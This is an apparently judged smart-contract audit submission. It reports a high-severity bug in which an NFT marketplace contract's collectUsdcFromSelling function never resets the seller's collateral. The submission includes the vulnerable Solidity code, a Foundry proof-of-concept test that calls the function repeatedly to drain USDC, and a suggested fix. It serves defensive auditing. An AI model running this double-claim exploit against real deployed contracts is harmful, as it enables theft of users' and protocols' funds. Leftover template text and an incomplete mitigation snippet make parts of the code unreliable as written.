NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Collateral Not Cleared After `collectUsdcFromSelling`

howiecht

Collateral Not Cleared After collectUsdcFromSelling, user can drain the funds

Description

  • When a seller collects proceeds, the locked collateral for the sold token should be returned and cleared so it cannot be claimed again.Explain the specific issue or problem in one or more sentences. However, collectUsdcFromSelling transfers the collateral back to the seller but never sets collateralForMinting[tokenId] = 0, allowing repeated calls to reclaim the collateral if the contract has funds.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
​
// @> collateralForMinting[listing.tokenId] is never cleared

Risk

Likelihood:

  • Sellers can call collectUsdcFromSelling multiple times for the same inactive listing.

  • Any remaining or incoming USDC in the contract can be drained via repeated collateral claims.

Impact:

  • Double-claim of collateral leading to loss of contract funds.

Proof of Concept

function testCollectDoesNotClearCollateral_Bug() public revealed {
uint256 tokenId = 1;
uint32 nftPrice = 1000e6;
usdc.mint(address(nftDealers), 2000e6);
mintAndListNFTForTesting(tokenId, nftPrice);
​
vm.startBroadcast(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(1);
vm.stopBroadcast();
​
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
​
// Bug: collateral is not cleared after collecting proceeds.
assertEq(nftDealers.collateralForMinting(tokenId), nftDealers.lockAmount());
// user can drain the funds
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
+ collateralForMinting[listing.tokenId] = 0;
}
Updates

Lead Judging Commences

rubik0n Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

drain-protocol-risk

collateral is not reset to zero after collecting USDC from sold NFT. No accounting for collected USDC

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!